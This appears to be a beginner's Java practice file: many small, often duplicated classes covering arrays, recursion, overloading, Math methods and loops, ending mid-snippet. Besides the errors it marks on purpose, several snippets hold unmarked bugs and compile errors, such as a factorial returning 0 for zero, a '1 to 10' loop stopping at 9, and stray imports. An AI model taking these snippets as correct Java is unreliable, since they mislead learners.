        Scanner input = new Scanner(System.in);
        System.out.println("Enter size number:");
        int size = input.nextInt();
        int arrnumber[] = new int[size], sum = 0;
        for (int i = 0; i < arrnumber.length; i++) {
            arrnumber[i] = input.nextInt();
        }
        for (int j = 0; j < arrnumber.length; j++) {
            sum += arrnumber[j];
        }
        System.out.println("The Average ==" + (sum / size));
      //can double
    }
}
import java.util.Scanner;
/*
Write a Jave program to test: 
if an array contains a specific Value
*/
public class Amazon {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter the specific num:");
        int num = input.nextInt();
        System.out.println("Enter the size:");
        int size = input.nextInt();
        int ahmed[] = new int[size];
        System.out.println("Enter the array values:");
        for (int i = 0; i < size; i++) {
            ahmed[i] = input.nextInt();
        }
        boolean f = false;
        for (int i : ahmed) {
            if (num == i) {
                f = true;
                break;
            }
        }
        System.out.println("array contains a specific value?");
        if (f) {
            System.out.println("Found");
        } else {
            System.out.println("Not Found");
        }
    }
}
/*
Write a Jave program to test: 
if an array contains a specific Value
*/
public class Amazon {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter the specific num:");
        int num = input.nextInt();
        System.out.println("Enter the size:");
        int size = input.nextInt();
        int ahmed[] = new int[size];
        System.out.println("Enter the array values:");
        for (int i = 0; i < size; i++) {
            ahmed[i] = input.nextInt();
        }
        boolean f = false;
        for (int i : ahmed) {
            if (num == i) {
                f = true;
                break;
            }
        }
        System.out.println("array contains a specific value?");
        if (f) {
            System.out.println("Found");
        } else {
            System.out.println("Not Found");
        }
    }
}
import java.util.Scanner;
/*
Write a Java program to find the maximum
and minimum value of an array.
*/
public class Amazon {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter the size:");
        int size = input.nextInt();
        int ahmedarr[] = new int[size];
        System.out.println("Enter the array elements:");
        for (int i = 0; i < ahmedarr.length; i++) {
            ahmedarr[i] = input.nextInt();
        }
        int minimum = ahmedarr[0], maxmum = ahmedarr[0];
        for (int i = 1; i < ahmedarr.length; i++) {
            if (ahmedarr[i] < minimum) {
                minimum = ahmedarr[i];
            }
            if (ahmedarr[i] > maxmum) {
                maxmum = ahmedarr[i];
            }
        }
        System.out.println("Minimum value==" + minimum);
        System.out.println("Maxmum value==" + maxmum);
    }
}
/*
Write a Java program to find the maximum
and minimum value of an array.
*/
public class Amazon {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter the size:");
        int size = input.nextInt();
        int ahmedarr[] = new int[size];
        System.out.println("Enter the array elements:");
        for (int i = 0; i < ahmedarr.length; i++) {
            ahmedarr[i] = input.nextInt();
        }
        int minimum = ahmedarr[0], maxmum = ahmedarr[0];
        for (int i = 1; i < ahmedarr.length; i++) {
            if (ahmedarr[i] < minimum) {
                minimum = ahmedarr[i];
            }
            if (ahmedarr[i] > maxmum) {
                maxmum = ahmedarr[i];
            }
        }
        System.out.println("Minimum value==" + minimum);
        System.out.println("Maxmum value==" + maxmum);
    }
}
import java.util.Arrays;
import java.util.Scanner;
/*
Write a Java program to sort a numeric array.
*/
public class Amazon {
    public static void main(String[] args) {
        int ahmedarray[] = { 1, 2, 3, 4, 5, 6, 7, 8, -9 };
        Arrays.sort(ahmedarray);//arrangement
        for (int i = 0; i < ahmedarray.length; i++) {
            System.out.print(ahmedarray[i] + " ");
        }
    }
}//Arrays sort()arrangement.





//Arrays (One-Dimensional):
/*
An array is a Container object that holds a fixed 
number of values of a single data type.
*/
public class MedoClass {
    public static void main(String[] args) {
        int []num=new int[5];
        num[0]=15;
        System.out.print(num[0]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[] num = new int[5];
        num[0] = 10;
        num[1] = 30;
        System.out.println(num[1]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[] num = new int[5];
        num[0] = 10;
        num[1] = 20;
        num[2] = 30;
        num[3] = 40;
        num[4] = 50;
        System.out.println(num[4]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int[] num = new int[5];//take from zero to four.
        num[0] = 10;
        num[1] = 20;
        num[2] = 30;
        num[3] = 40;
        num[4] = 50;
        num[5] = 60;//Error 
        System.out.println(num[5]);//Error
    }
}
public class Amazon {
    public static void main(String[] args) {
        int num[] = new int[5];
        num[0] = 10;
        num[1] = 20;
        num[2] = 30;
        num[3] = 40;
        num[4] = 50;
        num[5] = 60;
        System.out.println(num[5]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int num[]; 
        num=new int[5];
        num[0] = 10;
        num[1] = 20;
        num[2] = 30;
        num[3] = 40;
        num[4] = 50;
        num[5] = 60;
        System.out.println(num[5]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int num[] = { 1, 8, 9, 5 };
        System.out.println(num[0] + " " + num[1]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int num[] = { 1, 8, 9, 5 };
        num[0] = 55;
        System.out.println(num[0] + " " + num[1]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int num[] = { 1, 8, 9, 5 };
        num[7] = 55;//error size equal 4
        System.out.println(num[0] + " " + num[1]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        int num[] = { 1, 8, 9, 5 };
        System.out.println(num.length);
    }
}
public class Amazon {
    public static void main(String[] args) {
        double arr[] = new int[6];//Error
        System.out.println();
    }
}
public class Amazon {
    public static void main(String[] args) {
        double arr[] = new double[6];
        System.out.println(arr[0]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        double arr[] = new double[6];
        System.out.println(arr[0]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        boolean arr[] = new boolean[6];
        System.out.println(arr[1]);//false default
    }
}
public class Amazon {
    public static void main(String[] args) {
        char[] arr = new char[6];
        System.out.println(arr[1]);//Null means having no value
    }
}
public class Amazon {
    public static void main(String[] args) {
        char[] arr = new char[6];
        arr[0] = 'a';
        arr[1] = 'b';
        arr[2] = 'c';
        arr[3] = 'd';
        arr[4] = 'e';
        arr[5] = 'f';
        System.out.println(arr[1]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String arr[] = new String[6];
        System.out.println(arr[0]);//null
    }
}
public class Amazon {
    public static void main(String[] args) {
        String arr1[] = new String[] { "Ali", "Ahmed", "Belal" };
        System.out.println(arr1[0]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String arr1[] = { "Ali", "Ahmed", "Belal" };
        System.out.println(arr1[0]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String arr[] = new String[] { "Ali", "Ahmed", "Belal" };
        System.out.println(arr[0]);
        System.out.println(arr[1]);
        System.out.println(arr[2]);
    }
}
public class Amazon {
    public static void main(String[] args) {
        String arr[] = new String[] { "Ali", "Ahmed", "Belal" };
        for (int i = 0; i < arr.length; i++) {
            System.out.println(arr[i]);
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        String arr[] = new String[] { "Ali", "Ahmed", "Belal" };
        for (int i = 0; i < arr.length; i++) {//i must = 1.
            System.out.println(arr[i]);
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        String arr[] = new String[] { "Ali", "Ahmed", "Belal" };
        for (String i : arr) {
            System.out.println(i);
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        String arr[] = new String[] { "Ali", "Ahmed", "Belal" };
        for (String i : arr) {
            System.out.println(i);
        }
    }
}
public class Amazon {
    public static void main(String[] args) {
        int size=15;
        int  arr[]=new int[size];
    }
}
public class Amazon {
    public static void main(String[] args) {
        short size = 15;//not double jast size.
        int arr[] = new int[size];
    }
}
public class Amazon {
    public static void main(String[] args) {
        short size = 15;
        int arr[] = new int[size];
        arr[0]=15;
        System.out.println(arr[0]);
    }
}
import java.util.Scanner;
import jdk.tools.jlink.resources.plugins;
public class Amazon {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        short size = input.nextShort();
        int[] arr = new int[size];
        for (short i = 0; i < arr.length; i++) {
            arr[i] = input.nextInt();
        }
        System.out.print("[");
        for (int i : arr) {
            System.out.print(i + ",");
        }
        System.out.print("]");
    }
}











public class MyName {

    public static void main(String[] args) {
        int[] num = new int[5];
        num[0] = 15;
        num[1] = 33;
        System.out.println(num[1]);
    }
}
public class MyName {
    public static void main(String[] args) {
        int[] num = new int[5];
        num[0] = 15;
        num[1] = 33;
        num[2] = 52;
        num[3] = 85;
        num[4] = 55;
        System.out.println(num[4]);
    }
}
public class MyName {
    public static void main(String[] args) {
        int num[] = { 1, 8, 9, 5 };
        System.out.println(num[0] + " " + num[1]);
    }
}
public class MyName {
    public static void main(String[] args) {
        int num[] = { 1, 8, 9, 5 };
        System.out.println(num[0] + " " + num[1]);

    }
}
public class MyName {
    public static void main(String[] args) {
        int num[] = { 1, 8, 9, 5 };
        System.out.println(num[0] + " " + num[1]);
        num[0] = 55;
        System.out.println(num[0]);
    }
}
public class MyName {
    public static void main(String[] args) {
        int num[] = { 1, 8, 9, 5 };
        System.out.println(num[0] + " " + num[1]);
        num[0] = 55;
        System.out.println(num.length);
    }
}
public class MyName {
    public static void main(String[] args) {
        double[] arr = new double[6];
        System.out.println(arr[0]);
    }
}
public class MyName {
    public static void main(String[] args) {
        int[] arr = new int[6];
        System.out.println(arr[0]);
    }
}
public class MyName {
    public static void main(String[] args) {
        //char[] arr = new char[6];
        // char arr[0] = 'a';
        //char arr[5]={'a','b','c','d'}
        System.out.println(arr[0]);
    }
}
public class MyName {
    public static void main(String[] args) {
        String[] arr = { "Ali", "Ahmed", "Belal" };
        System.out.println(arr[0]);
    }
}
public class MyName {
    public static void main(String[] args) {
        String[] arr =new String[] { "Ali", "Ahmed", "Belal" };
        System.out.println(arr[0]);
    }
}
public class MyName {
    public static void main(String[] args) {
        String[] arr = new String[] { "Ali", "Ahmed", "Belal" };
        System.out.println(arr[0]);
        System.out.println(arr[1]);
        System.out.println(arr[2]);
    }
}
public class MyName {
    public static void main(String[] args) {
        String[] arr = { "Ali", "Ahmed", "Belal" };
        /*
         * System.out.println(arr[0]); 
         System.out.println(arr[1]);
         * System.out.println(arr[2]);
         */
        for (String i : arr) {
            System.out.println(i);
        }
    }
}
public class MyName {
    public static void main(String[] args) {
        String[] arr = { "Ali", "Ahmed", "Belal" };
        for (int i = 0; i < arr.length; i++) {
            System.out.println(i);
        }
    }
}
public class MyName {
    public static void main(String[] args) {
        String[] arr = { "Ali", "Ahmed", "Belal" };
        /*
         * for (int i = 0; i < arr.length; i++) { System.out.println(i); }
         */
        for (String i : arr) {
            System.out.println(i);
        }
    }
}
public class MyName {
    public static void main(String[] args) {
        String[] arr = { "Ali", "Ahmed", "Belal" };
        /*
         * for (int i = 0; i < arr.length; i++) { System.out.println(i); }
         */
        for (String i : arr) {
            System.out.println(i);
        }
    }
}
import java.util.Scanner;
public class MyName {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int size = input.nextInt();// short data type
        int[] arr = new int[size];
        arr[0] = 15;
        System.out.println(arr[0]);
    }
}








public class MyName {
    // Fibonacci
    // 0 1 2 3 4 5 6 7 8 9 10...etc.
    // 0 1 1 2 3 5 8 13 21 34 55...etc.
    static int fib(int num) {
        if (num == 0 || num == 1) {
            return num;
        } else {
            return fib(num - 1) + fib(num - 2);
        }
    }
    public static void main(String[] args) {
        System.out.println("fib = " + fib(7));
    }
}
public class MyName {
    static int n1 = 0, n2 = 1, n3;
    static void printfib(int n) {
        if (n > 0) {
            n3 = n1 + n2;
            n1 = n2;
            n2 = n3;
            System.out.println(" " + n3);
            printfib(n - 1);
        }
    }
    public static void main(String[] args) {
        System.out.println(n1 + " " + n2);
        int num = 5;
        printfib(num);
    }
}
public class MyName {
    static int n1 = 0, n2 = 1, n3;
    static void printfib(int n) {
        if (n > 0) {
            n3 = n1 + n2;
            n1 = n2;
            n2 = n3;
            System.out.println(" " + n3);
            printfib(n - 1);
        }
    }
    public static void main(String[] args) {
        System.out.println(n1 + " " + n2);
        int num = 5;
        printfib(num);
    }
}
public class MyName {
    static int sum(int n1, int n2) {
        if (n1 == n2) {
            return n1;
        } else {
            return n1 + sum(n1 + 1, n2);
        }
    }
    public static void main(String[] args) {
        System.out.println("sum = " + sum(4, 6));
    }
}
public class MyName {
    static int sum(int n1, int n2) {
        if (n1 == n2) {
            return n1;
        } else {
            if (n1 < n2) {
                return n1 + sum(n1 + 1, n2);
            } else {
                return n1 + sum(n1 - 1, n2);
            }
        }
    }
    public static void main(String[] args) {
        System.out.println("sum = " + sum(6, 4));
    }
}


public class MyName {
    static void fun() {
        System.out.println("Hi");
        fun();
    }
    public static void main(String[] args) {
        fun();
    }
}
public class MyName {
    static int count = 0;
    static void fun() {
        count++;
        if (count < 5) {
            System.out.println("Hi");
            fun();
        }
    }
    public static void main(String[] args) {
        fun();
    }
}
public class MyName {
    static int count = 0;
    static void fun() {
        count++;
        if (count < 5) {
            System.out.println("Hi");
            fun();
        }
    }
    public static void main(String[] args) {
        fun();
    }
}
public class MyName {
    static int count = 0;
    static void fun() {
        count++;
        if (count < 5) {
            System.out.println("Hi");
            fun();
        }
        count++;//error.
    }
    public static void main(String[] args) {
        fun();
    }
}
public class MyName {
    static int count = 0;
    static void fun() {
        if (count == 5) {// base case
            return;
        }
        count++;
        System.out.println("Hi Ahmed");
        fun();
    }
    public static void main(String[] args) {
        fun();
    }
}
public class MyName {
    static int count = 0;
    static void fun() {
        if (count == 5) {// base case
            return;
        }
        count++;
        System.out.println("Hi Ahmed");
        fun();
    }
    public static void main(String[] args) {
        fun();
    }
}
public class MyName {
    static int fact(int n) {// 5!=5*4*3*2*1
        if (n == 1) {
            return n;
        } else {
            return n * fact(n - 1);
        }
    }
    public static void main(String[] args) {
        System.out.println("fact==" + fact(5));
    }
}
public class MyName {
    static int fact(int n) {// 5!=5*4*3*2*1
        if (n == 1||n==0) {
            return n;
        } else {
            return n * fact(n - 1);
        }
        /*5*fact(4)
        4*fact(3)
        3*fact(2)
        2*fact(1)
        1 
        */
    }
    public static void main(String[] args) {
        System.out.println("fact==" + fact(5));
    }
}
public class MyName {
    static void fun(int n) {
        if (n < 1) {
            return;
        } else {
            System.out.println("# " + n);
            fun(n - 1);
        }
    }
    public static void main(String[] args) {
        fun(5);
    }
}
public class MyName {
    static void fun(int n) {
        if (n < 1) {
            return;
        } else {
            fun(n - 1);
            System.out.println("# " + n);
        }
    }
    public static void main(String[] args) {
        fun(5);
    }
}
public class MyName {
    static int fact(int n) {
        if (n == 1) {//no n==75
            return 1;
        } else {
            return n * fact(n - 1);
        }
    }
    public static void main(String[] args) {
        System.out.println("fact =" + fact(10));//no fact =75
    }
}
public class MyName {
    static void directRecfun(){
        directRecfun();
    }
    static void indirectRecfun1(){
        indirectRecfun2();
    }
    static void indirectRecfun2(){
        indirectRecfun1();
    }
    public static void main(String[] args) {
        
    }
}


public class MyName {
    static int sum(int n1, int n2) {
        return n1 + n2;
    }
    public static void main(String[] args) {
        System.out.println("Sum==" + sum(10, 50));
    }
}
public class MyName {
    static int sum(int n1, int n2) {
        return n1 + n2;
    }
    static float sum(float n1, float n2) {
        return n1 + n2;
    }
    public static void main(String[] args) {
        System.out.println("Sum==" + sum(10, 50));
        System.out.println("Sum==" + sum(10.5f, 50.7f));
    }
}
public class MyName {
    static int sum(int n1, int n2) {
        return n1 + n2;
    }
    static float sum(float n1, float n2) {
        return n1 + n2;
    }
    static float sum(int n1, float n2) {
        return n1 + n2;
    }
    public static void main(String[] args) {
        System.out.println("Sum==" + sum(10, 50));
        System.out.println("Sum==" + sum(10.5f, 50.7f));
        System.out.println("Sum==" + sum(10, 10.5f));
    }
}
public class MyName {
    static float order(float total) {
        return total;
    }
    static float order(float total, int deliverycosts) {
        return total + deliverycosts;
    }
    static float order(float total, int deliverycosts, String promo) {
        return total + deliverycosts - 2;
    }
    public static void main(String[] args) {
        System.out.println(order(15, 3, "Ahmed"));
    }
}
public class MyName {
    static void fun() {
        System.out.println("fun:");
    }
    static void fun(int x) {
        fun();
        System.out.println("x==" + x);
    }
    public static void main(String[] args) {
        fun(15);
    }
}
public class MyName {
    public static void main(int num) {
        System.out.println(num);
    }

    public static void main(String[] args) {
        main(500);
    }
}



import java.util.Scanner;
public class MyName {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("abs==" + Math.abs(-1.1));
    }
}
import java.util.Scanner;
public class MyName {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("ceil==" + Math.ceil(-1.1));
    }
}
import java.util.Scanner;
public class MyName {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("ceil==" + Math.ceil(1.2));
    }
}
import java.util.Scanner;
public class MyName {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("ceil==" + Math.ceil(1.5));
    }
}
import java.util.Scanner;
public class MyName {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("ceil==" + Math.ceil(-1.9));
    }
}
public class MyName {
    public static void main(String[] args) {

        System.out.println("floor==" + Math.floor(1.9));
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("floor==" + Math.floor(-1.9));
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("round==" + Math.round(1.1));
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("round==" + Math.round(1.6));
    }
}
public class MyName {
    public static void main(String[] args) {

        System.out.println("sqrt==" + Math.sqrt(9));
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("sqrt==" + Math.sqrt(100));
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("Power==" + Math.pow(3, 10));
        System.out.println("Power==" + Math.pow(3, 4));
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("random==" + Math.random());//0.0<=value<1.0.
        System.out.println("random==" + Math.random());
    }
}
public class MyName {
    public static void main(String[] args) {
        double r = (Math.random() * ((10 - 1) + 1) + 1);
        // double r = (Math.random() * 11);
        System.out.println("random=" + r);
    }
}
import java.util.Random;
public class MyName {
    public static void main(String[] args) {
        int r = (int) (Math.random() * ((10 - 1) + 1) + 1);// use type casting
        // double r = (Math.random() * 11);
        System.out.println("random=" + r);
    }
}
import java.util.Random;
public class MyName {
    public static void main(String[] args) {
        int r = (int) (Math.random() * ((10 - 1) + 1) + 1);// use type casting
        // double r = (Math.random() * 11);
        System.out.println("random=" + r);
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("Max==" + Math.max(20, 30));
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("Max==" + Math.max(20.5, 30));
    }
}
public class MyName {
    public static void main(String[] args) {
        System.out.println("Max==" + Math.max(20.5, Math.max(30, 40)));
    }
}
import javax.swing.plaf.basic.BasicInternalFrameTitlePane.MaximizeAction;
public class MyName {
    public static void main(String[] args) {
        System.out.println("Pow=" + Math.pow((Math.sqrt(100)), 2));
    }
}










import java.util.Scanner;
/*write a Java method to find 
the smallest number among three numbers*/
public class MyName {
    static int min(int n1, int n2, int n3) {
        int minNumber = n1;
        if (minNumber > n2) {
            minNumber = n2;
        }
        if (minNumber > n3) {
            minNumber = n3;
        }
        return minNumber;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int n1 = input.nextInt();
        int n2 = input.nextInt();
        int n3 = input.nextInt();
        System.out.println("minimum number=" + min(n1, n2, n3));
    }
}
import java.util.Scanner;
/*write a Java method to find 
the smallest number among three numbers*/
public class MyName {
    static int min(int n1, int n2, int n3) {
        int minNumber = n1;
        if (minNumber > n2) {
            minNumber = n2;
        }
        if (minNumber > n3) {
            minNumber = n3;
        }
        return minNumber;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter #1:");
        int n1 = input.nextInt();
        System.out.println("Enter #2:");
        int n2 = input.nextInt();
        System.out.println("Enter #3:");
        int n3 = input.nextInt();
        System.out.println("minimum number=" + min(n1, n2, n3));
    }
}
import java.util.Scanner;
/*
Write a Java method to compute the average of three numbers
 */
public class MyName {
    static float avg(float n1, float n2, float n3) {
        float average, sum = n1 + n2 + n3;
        average = sum / 3;
        return average;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("avg" + avg(100, 99, 98));
    }
}
import java.util.Scanner;
/*
Write a Java method to compute the average of three numbers
 */
public class MyName {
    static float avg(float n1, float n2, float n3) {
        return (n1 + n2 + n3) / 3;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("avg" + avg(100, 99, 98));
    }
}
import java.util.Scanner;
/*
Write a Java method to compute the average of three numbers
 */
public class MyName {
    static float avg(float n1, float n2, float n3) {
        return (n1 + n2 + n3) / 3;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        float ahmed = avg(10, 11, 12);
        ahmed++;
        System.out.println(ahmed);
    }
}
import java.util.Scanner;
public class MyName {
    public static int sum(int... n) {// int[]n
        int s = 0;
        for (int i : n) {
            s += i;
        }
        return s;
    }
    public static void main(String[] args) {
        System.out.println("sum =" + sum(5, 6, 7, 8));
    }
import java.util.Scanner;
public class MyName {
    public static int sum(int... n) {// int[]n
        int s = 0;
        for (int i : n) {//i=n every loop.
            s += i;
        }
        return s;
    }
    public static void main(String[] args) {
        System.out.println("sum =" + sum(5, 6, 7, 8));
    }
}
import java.util.Scanner;
public class MyName {
    public static int sum(int... n) {// int[]n
        int s = 0;
        for (int i : n) {//i=n every loop.
            s += i;//s=s+i;
        }
        return s;
    }
    public static void main(String[] args) {
        System.out.println("sum =" + sum(5, 6, 7, 8));
    }
}


public class MyName {
    public static void main(String[] args) {// Method/function.
        System.out.println("Ahmed");
        System.out.println("Ali");
        System.out.println("Mohammed");
        System.out.println("Belal");
    }
}
public class MyName {
    public static void main(String[] args) {// Method/function.
        System.out.println("Ahmed");
        System.out.println("Ali");
        System.out.println("Mohammed");
        System.out.println("Belal");
        System.out.println("Ahmed");
        System.out.println("Ali");
        System.out.println("Mohammed");
        System.out.println("Belal");
    }
}
public class MyName {
    // Return value type:voidنوع القيمة الراجعة
    public static void fun() {
        System.out.println("Ahmed");
        System.out.println("Ali");
        System.out.println("Mohammed");
        System.out.println("Belal");
    }
    public static void main(String[] args) {// Method/function.
        // invoke,callاستدعاء,دعوه
        fun();
    }
}
public class MyName {
    public static void fun() {
        System.out.println("Ahmed");
        System.out.println("Ali");
        System.out.println("Mohammed");
        System.out.println("Belal");
    }
    public static void main(String[] args) {
        fun();
        fun();
    }
}
public class MyName {
    public static void main(String[] args) {
        fun();
        fun();
    }
    public static void fun() {
        System.out.println("Ahmed");
        System.out.println("Ali");
        System.out.println("Mohammed");
        System.out.println("Belal");
    }
}
import java.util.Scanner;
public class MyName {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int n1, n2;
        System.out.println("Enter number1:");
        n1 = input.nextInt();
        System.out.println("Enter number2:");
        n2 = input.nextInt();
        int sum = n1 + n2;
        System.out.println("the sum==" + sum);
    }
}
import java.util.Scanner;
public class MyName {
    static int SumTwoNumbers(int n1, int n2) {
        int sum = n1 + n2;
        return sum;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int n1, n2;
        System.out.println("Enter number1:");
        n1 = input.nextInt();
        System.out.println("Enter number2:");
        n2 = input.nextInt();
        System.out.println("the sum==" + SumTwoNumbers(n1, n2));
    }
}
import java.util.Scanner;
public class MyName {
    static int SumTwoNumbers(int n1, int n2) {
        int sum = n1 + n2;
        return sum;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("the sum==" + SumTwoNumbers(50, 60));
    }
}
import java.util.Scanner;
public class MyName {
    static int SumTwoNumbers(int n1, int n2) {
        return n1 + n2;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("the sum==" + SumTwoNumbers(50, 60));
        System.out.println("the sum==" + SumTwoNumbers(200, 50));
    }
}
import java.util.Scanner;
public class MyName {
    static int SumTwoNumbers(int n1, int n2) {
        return n1 + n2;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("the sum==" + SumTwoNumbers(50, 60));
        System.out.println("the sum==" + SumTwoNumbers(200, 50));
    }
}
import java.util.Scanner;
public class MyName {
    static int SumTwoNumbers(int n1, int n2) {
        System.out.println("sum:");
        return n1 + n2;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int s = SumTwoNumbers(5, 5);
        s = s + 2;
        System.out.println("sum==" + s);
    }
}
import java.util.Scanner;
public class MyName {
    static int SumTwoNumbers(int n1, int n2) {
        System.out.println("sum:");
        return n1 + n2;
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int s = SumTwoNumbers(5, 5);
        s = s + 2;
        System.out.println("sum==" + s);
    }
}
import java.util.Scanner;
public class MyName {
    static voidSumTwoNumbers(int n1, int n2) {
        System.out.println("sum=="+(n1+n2));
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int s = SumTwoNumbers(5, 5);//error
        s = s + 2;
        System.out.println("sum==" + s);
    }
}
import java.util.Scanner;
public class MyName {
    static void SumTwoNumbers(int n1, int n2) {
        System.out.println("sum==" + (n1 + n2));
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        SumTwoNumbers(5, 5);
    }
}
import java.util.Scanner;
public class MyName {
    static void SumTwoNumbers(int n1, int n2) {
        if (n1 == 0 && n2 == 0) {
            return;
        }
        System.out.println("sum==" + (n1 + n2));
    }
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        SumTwoNumbers(5, 5);
    }
}





     List<String> listOfReport = Stream.of(AlipayReports.values())
                .map(Enum::name)
                .collect(Collectors.toList());
import java.util.Scanner;

public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        test: {
            if (5 < 6) {
                break test;
            }
            System.out.println("1");
            System.out.println("2");
            System.out.println("3");
            System.out.println("4");
        }
        System.out.println("5");
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int row = 1; row <= 10; row++) {
            for (int column = 1; column <= 5; column++) {
                System.out.print("* ");
            }
            System.out.println("");
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        stop: {
            for (int row = 1; row <= 10; row++) {
                for (int column = 1; column <= 5; column++) {
                    if (row == 5) {
                        break stop;
                    }
                    System.out.print("* ");
                }
                System.out.println("");
            }
        }
    }
}
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int row = 1; row <= 5; row++) {
            System.out.println();
            for (int column = 1; column <= 10; column++) {
                if (column > row) {
                    continue;
                }
                System.out.print("* ");
            }
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        nextRow: for (int row = 1; row <= 5; row++) {
            System.out.println();
            for (int column = 1; column <= 10; column++) {
                if (column > row) {
                    continue nextRow;
                }
                System.out.print("* ");
            }

            System.out.println("Ahmed Abdelmoneim");
        }
    }
}
import java.util.Scanner;

public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 1; i <= 5; i++) {
            System.out.println("Outer loop#" + i);
            for (int j = 1; j <= 3; j++) {
                System.out.println("Nested loop#" + j);
            }
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 1; i <= 2; i++) {
            System.out.println("Outer loop#i=" + i);
            for (int j = 1; j <= 3; j++) {
                System.out.println("Nested loop#j=" + j);
                for (int k = 1; k <= 2; k++) {
                    System.out.println("Nested loop#k=" + k);
                }
            }
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 0; i < 10; i++) {
            if (i == 4) {
                break;
            }
            System.out.println("i=" + i);
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 0; i < 10; i++) {
            if (i == 4) {
                break;
            }
            System.out.println("i=" + i);
        }
        System.out.println("Ahmed abdelmoneim");
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 0; i < 10; i++) {
            if (i == 4) {
                continue;
            }
            System.out.println("i=" + i);
        }
        System.out.println("Ahmed abdelmoneim");
    }
}
import java.util.Scanner;

public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Test yourself:");
        System.out.println("what is '5+10/2*10=?':");
        float UserAnswer, TheCorrectAnswer = 55;
        boolean questionAnswer = false;
        for (int i = 1; i < 3; i++) {
            UserAnswer = input.nextFloat();
            if (UserAnswer == TheCorrectAnswer) {
                questionAnswer = true;
                break;
            } else if (UserAnswer != TheCorrectAnswer) {
                System.out.println("Chance #" + (i + 1) + " : ");
                continue;
            }
        }
        if (questionAnswer) {
            System.out.println("Correct Answer");
        } else {
            System.out.println("Wrong Answer");
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        // Write a program to print numbers from 1 to 10.
        for (int i = 1; i < 10; i++) {
            System.out.println(i);
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        // Write a program to print numbers from 1 to 10.
        int i = 1;
        do {
            System.out.println(i);
            i++;
        } while (i <= 10);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        /*
         * Write a program to calculate the sum
         * of 10 floating point numbers using for loop.
         */
        float sum = 0;
        for (int i = 1; i <= 10; i++) {
            sum = sum + i;// sum+=i
        }
